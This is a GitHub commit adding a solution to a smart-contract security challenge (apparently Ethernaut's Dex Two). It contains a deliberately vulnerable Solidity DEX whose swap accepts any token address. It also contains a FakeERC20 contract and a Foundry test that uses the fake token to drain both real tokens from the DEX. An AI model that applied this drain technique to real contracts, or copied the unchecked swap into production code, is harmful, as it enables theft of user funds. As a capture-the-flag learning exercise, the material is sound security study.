Skip to content

Commit

Permalink
🎉 Added challenge #23
Browse files Browse the repository at this point in the history
  • Loading branch information
abdulsamijay committed May 22, 2022
1 parent 99833f1 commit 6f20c4c
Show file tree
Hide file tree
Showing 3 changed files with 169 additions and 0 deletions.
87 changes: 87 additions & 0 deletions src/challenge-23/DexTwo.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract DexTwo is Ownable {
using SafeMath for uint256;
address public token1;
address public token2;

constructor() public {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function add_liquidity(address token_address, uint256 amount)
public
onlyOwner
{
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(
address from,
address to,
uint256 amount
) public {
require(
IERC20(from).balanceOf(msg.sender) >= amount,
"Not enough to swap"
);
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapAmount(
address from,
address to,
uint256 amount
) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) /
IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint256 amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account)
public
view
returns (uint256)
{
return IERC20(token).balanceOf(account);
}
}

contract SwappableTokenTwo is ERC20 {
address private _dex;

constructor(
address dexInstance,
string memory name,
string memory symbol,
uint256 initialSupply
) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(
address owner,
address spender,
uint256 amount
) public returns (bool) {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
20 changes: 20 additions & 0 deletions src/challenge-23/FakeERC20.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract FakeERC20 {
function approve(address, uint256 amount) public returns (bool) {
return true;
}

function balanceOf(address account) public returns (uint256) {
return 1;
}

function transferFrom(
address spender,
address receiver,
uint256 amount
) public returns (bool) {
return true;
}
}
62 changes: 62 additions & 0 deletions src/challenge-23/test/DexTwo.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Test.sol";
import {DexTwo, SwappableTokenTwo} from "../DexTwo.sol";
import {FakeERC20} from "../FakeERC20.sol";

contract ContractTest is Test {
DexTwo dex;
SwappableTokenTwo token0;
SwappableTokenTwo token1;
FakeERC20 fake;

function test_challenge_23() public {
console.log("Challenge #23");

dex = new DexTwo();

token0 = new SwappableTokenTwo(address(dex), "ABC", "ABC", 1000);
token1 = new SwappableTokenTwo(address(dex), "XYZ", "XYZ", 1000);
fake = new FakeERC20();

dex.setTokens(address(token0), address(token1));
dex.approve(address(dex), 100);
dex.add_liquidity(address(token0), 100);
dex.add_liquidity(address(token1), 100);

token0.transfer(address(1337), 10);
token1.transfer(address(1337), 10);

console.log("");
console.log("dex token0 balance", token0.balanceOf(address(dex)));
console.log("dex token1 balance", token1.balanceOf(address(dex)));

console.log("");
console.log("1337 token0 balance", token0.balanceOf(address(1337)));
console.log("1337 token0 balance", token1.balanceOf(address(1337)));

vm.startPrank(address(1337));

dex.approve(address(dex), 1000);
dex.swap(address(fake), address(token0), 1);
console.log("");
logSwapPrice();
dex.swap(address(fake), address(token1), 1);
logSwapPrice();

vm.stopPrank();

console.log("Token0 drained from dex!");
console.log("Token1 drained from dex!");
}

function logSwapPrice() public {
console.log("-------------- SWAP -----------------");
console.log("1337 token0 balance", token0.balanceOf(address(1337)));
console.log("1337 token1 balance", token1.balanceOf(address(1337)));
console.log("dex token0 balance", token0.balanceOf(address(dex)));
console.log("dex token1 balance", token1.balanceOf(address(dex)));
console.log("");
}
}

0 comments on commit 6f20c4c

Please sign in to comment.